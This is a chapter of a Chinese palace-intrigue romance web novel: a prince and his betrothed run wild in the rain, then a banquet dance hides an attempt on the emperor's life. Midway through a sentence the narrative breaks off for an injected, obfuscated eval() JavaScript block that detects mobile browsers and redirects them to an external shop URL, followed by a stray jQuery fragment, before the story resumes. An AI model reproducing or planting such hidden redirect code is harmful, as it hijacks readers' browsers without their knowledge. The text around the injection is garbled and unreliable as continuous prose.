“我想……亲自让皇祖父给我们指个日子,完婚。”
百里若心中了然,问道:“需要我让爹爹先旁敲侧击吗?”
“不,我来。”
圣意难测,昭元帝不会不记得多年前那道圣旨,在她回京后却一直按住此事,从不曾提,谁也不知道他究竟是何想法、作何打算。贸贸然往上凑,一念天堂,一念地狱。
而今,他想遇事时,能光明正大地二人同为一体,并肩前行。而不是像现在这般,含含混混,畏手畏尾,哪方有个什么万一,动作起来诸多掣肘,还得提防三教九流势力的拿捏敲打、趁虚而入。
百里若支起身来,看进他眼中,笑着道:“好。”
早在今晨无意看到那副对联时,她就有此预感了。那对联上,书的是
“风风雨雨寒寒暖暖处处寻寻觅觅”
“莺莺燕燕花花叶叶卿卿朝朝暮暮”
是他的肺腑之言。
幼时之约,阴差阳错,绝境逢生。
上苍垂怜,让他们能在人海中相遇相识相知相携,此生已是万幸。往后,风雨同舟,朝朝暮暮,再不分离。
要拿什么回应这无比赤忱的真心呢?也只有一颗真心罢。
哪怕引来雷霆万钧,眼前这塘荆棘丛生、覆满迷雾的泥沼,也定要二人亲自去闯闯。
百里若眼珠子一转,咯咯笑道:“要是他不答应,也好办。”
知道她这是又要使坏了,谢清尧压着笑问道:“怎么办?”
“你就比武招亲,我保证过五关、斩六将,打遍四海无敌手,”说着,她用指节轻轻划过谢清尧的下颌,压低了身子挑眉道,“抱得晋王殿下美人归。”
谢清尧被激得一把抓住她的手,正准备翻身动作,却不防被百里若灵巧脱身溜了出来。她下地整了整衣服,对他道:“走,出去转转。”
出去?外面雨势不曾减弱,可谢清尧一分一毫都不犹豫,只笑着摇了摇头道:“走!”
两人一路携手狂奔,将身后那些唤着“殿下!蓑衣!”的身影甩得远远的。跑出了房门,院门,舍门,上了路不辨方向也辨不清方向,干脆随兴所至,走哪是哪。
兜头兜脸的大雨几乎是迎面泼在脸上,不妨碍他们二人一边笑一边跑。
浇天灌地的雨,倒在湖中化作碎玉万点,惊起微澜千重。
一时不察,脚下一滑,便一前一后摔在了池边的浅滩里,两人也只管笑,还抄起泥巴就往对方身上糊。脏了脸就仰起头让雨水冲冲,像草原上的马儿羊儿那般甩甩脑袋,站起来又是两条湿漉漉的好汉。
跑着跑着进了林子里,百里若先一步攀上了树,开始穿枝绕叶,谢清尧也不甘示弱。林中接二连三的树因这不停的撞、推、扒、踹、点、转,一阵一阵扑簌簌地抖下满树雨珠,好不热闹。
又不知到了哪处开阔平地,谢清尧抓住百里若猛地往回一带、一托,便将她抱在怀中顺势转了起来。百里若被这般举高,只能扶着他肩头尽力支着上半身,跟着他一道又笑又叫,转了八九圈后刚想喊“放我下来”,两人又一道跌落地上,仰面朝天,看着彼此又是一阵哈哈大笑。
此心,此情,此意,天地山石树草雨露同鉴。
与此同时,锦绣山房的二层窗边。
“……皇上。”
“朕看到了。”
终于,两人疯也疯完了,闹也闹够了,就近找了个坡上的亭子坐了进去。雨势逐渐减小,西面出了太阳,两人比了比方位,一同回身往天上看去。
果然,一道艳丽绚彩的七色长虹,架于天地之间。
百里若定睛看了看:“仔细瞧着,好像不止一条呢。”
“是,我瞧着有,一、二、三、四、五、六、七……”
百里若噗嗤一声,用手肘顶了顶他:“能数出这么多道,莫不是吃了菌子!”
两人对视,不自觉脸贴上了脸,刚吻上没多久,都被自己和对方嘴里的泥土草腥雨水味劝退了,开始一边笑一边呸呸呸。
知道晚上还有宴席,两人又须得沐浴更衣,在亭中静静地依偎了一会,便转身往下走了。临末了,百里若回身将亭子和天际的霓虹收在眼底,这才发现,这座草亭并没有以亭为名,不知谁人,在牌匾上留了恣意飞扬的三个字。
逍遥坡。
一路上偶尔遇着一两个人,都没认出他们是谁。七摸八拐地回了院,早有流云浸月和谢清尧的贴身服侍焦急地等在岔路口,见两人满身泥水却乐滋滋的疯相不由大惊,骂又骂不得,只能叨叨着分别推他们二人回房洗漱。热水、姜汤、巾子帕子和干净衣裳是早就备好了的,这一趟进浴桶,当真是以迅雷之势火急火燎被涮两遍就拎了出来,正式赴宴时,头发还有七成湿。
好在夜晚烛火昏黄,又无外人,这点松散未被人察觉。二人进了嘉树堂的宴客厅,循着引导在主位右手边坐下,每人面前一张小方几,已摆了些新鲜瓜果莲菱鱼脍之类,只待昭元帝大驾光临。
寒暄了几句下午雨大、这莲蓬是从哪个塘子里摘的、哪处又涨水了,小心别靠近后,康王有些半信半疑地玩笑道:“下人们报午后暴雨时分,园子里冒出两个野人,老三……可有听说?”
这厢两个肇事者含笑对视一眼,谢清尧战术性清了清嗓子,一本正经地回道:“不曾听说,王叔再细讲讲?”
“噢,不曾听说,那便罢了。”
不多久,昭元帝、陆总管来了,满座的人正要起身行礼,昭元帝袖子一摆,道:“不必,今日你们爷儿两过寿,由着你们来便是。”
“谢父王恩典。”
“谢祖父恩典。”
待昭元帝入座后,康王起身抱拳,先向主位拜了拜,随后对着场内道:“既是宴席,总少不了歌舞助兴。今日儿臣献丑,斗胆将府中的舞乐班子请了来。父王和老三都是见过大世面的人,要是觉着家伎们有何不足之处,还望不吝赐教。”
昭元帝不语,谢清尧沉默,康王随后拍了拍手,角落里响起丝竹之音,八个面貌妍丽、披青挂绿的舞女踩着仙逸的步子徐行至厅堂中央。
百里若看着看着,想起了岳州那次经历。康王这话的意思是……要给昭元帝和谢清尧身边塞人??
尚还思考着康王是否真有此意,还是她过度解读,百里若忽然发现,舞女们这步子……她见过。
而且她……绝对不会认错。
这编舞,是阿璇的手笔。
媚而不俗,轻盈百转,步步玄巧。
天下独一份……莲蝶步。
脖子以下的血液瞬间冲入大脑,百里若只觉被绵绵密密的蛛丝缠绕得近乎窒息。
康王府献上此舞……是何意?是谢景熙?
隔着重重抛荡飘飞的水袖,谢景熙在盯着她的一举一动。
所有矫饰,所有圆滑退避都在此时失去意义。
那便来吧。
她略沉下巴,直直盯了回去。
如是真要在今晚鱼死网破,她便与谢清尧撇清关系,让谢景熙吃不了兜着走!
没过多久,谢清尧察觉百里若的视线不随场中变化而动,只是死死固定在一处,方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883172|212492||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
觉不对,正要私下悄悄与百里若说话,只见第九名舞女,身着焰红、面覆金纱入了场。
舞的是万绿丛中一点红,舞的是莲叶何田田上一朵浸染了血与火,肆意盛放的莲花。
在意识到身边人的异常紧绷时,他也迅速反应了过来,这名女子,身形样貌都有些眼熟……竟是云裳?!
百里若在转瞬便明白了,这是阿璇的局,不是谢景熙揭告她的局。
隔着场中妖娆娉婷的蝶戏莲梦,她看到谢景熙端起的杯子几乎要被砸在桌案上。
中计的是他,被牵动的是他。他才是猎物。
很像,九成九像,但,不是。
她能一口咬定,是因为过去的朝夕相伴,因为她凭气识人的本事。
但谢景熙一不会武,二已与阿璇剑拔弩张,且激走她后四处寻觅未果,这般程度的相像,已足够他错判。
阿璇孤身入康王府那么久,以她的才智手段,尾后针莫不是早已楔入七寸。便是断尾求生,看着一时风平浪静,也不过毒未发、血未见。
她既出手了,势必一剑封喉。
莲蝶步的下一式是——
红衣舞女接连几个旋身,以令人眼花缭乱的身法欺近主位,眼看一个甩袖就要向昭元帝抛出——
“大胆!跳的是什么东西!”谢景熙怒而拍桌,起身后立时冲进场内。
“熙儿?发生何事……”康王似是没料到这番变故,神情看着有些懵。
管弦之声骤停,场内九名舞女瑟瑟发抖,跪伏一地。
谢景熙已是暴怒之状,从地面一把拎起红衣舞女,扯下她的面纱后上下打量,呵斥道:“当着圣上的面跳错如此多步子,平日都是怎么练的?!”
陆总管提醒:“大公子,未免有些失仪了。”
谢景熙深吸两口气,又将舞女重重甩开,向上、向右请示道:“皇祖父,父王,是孩儿失礼了。儿臣不曾料想精心为祖父和父王准备的舞曲,竟被这小女子演绎得不伦不类,一时气上心头,处置不周。下去后,定当重重责罚……”
昭元帝不待谢景熙辩驳完便起身,道:“老陆,走吧。”
康王赶紧起身:“恭送父王。”
待昭元帝前脚出了门,谢清尧也带着百里若拜别,赶紧远离是非之地。
假如谢景熙不出来断喝那一下,昭元帝恐怕已经遇刺了。
尽管谢景熙极力撇清推脱,但明察秋毫如昭元帝,怎会看不出其中蹊跷。
人是康王府上养着的,出了这般谋逆未遂之举,康王难辞其咎。
两人一路沉默。夜间山石路崎岖幽暗,随行人持的灯,也不过照亮方寸之地,二人心神不宁,百里若好几次险些崴了脚。
待关了门,二人紧紧相拥,谢清尧用极低极低的声量在百里若耳边问:“是云裳吗。”
百里若在他怀中摇了摇头。
谢清尧叹口气,只是紧紧将她抱在怀里。
半个时辰后,房门传来一阵急促的敲击声,谢清尧起身问:“何事?”
“回殿下,锦绣山房派人传话。”
两颗心登时提到嗓子眼。
飞鸟庐的会客厅中,百里若隐在屏风后。
“何公公,皇祖父传谕,所为何事?”
“启禀殿下,园中枯井内寻得黑鱼一尾,陛下以为大不祥,口谕召晋王殿下前去商讨,请速速随奴婢来。”
鱼龙互变,原为一体。此为龙困于井,下将犯上之兆。
更有甚者,言之为——
君者,不得好死。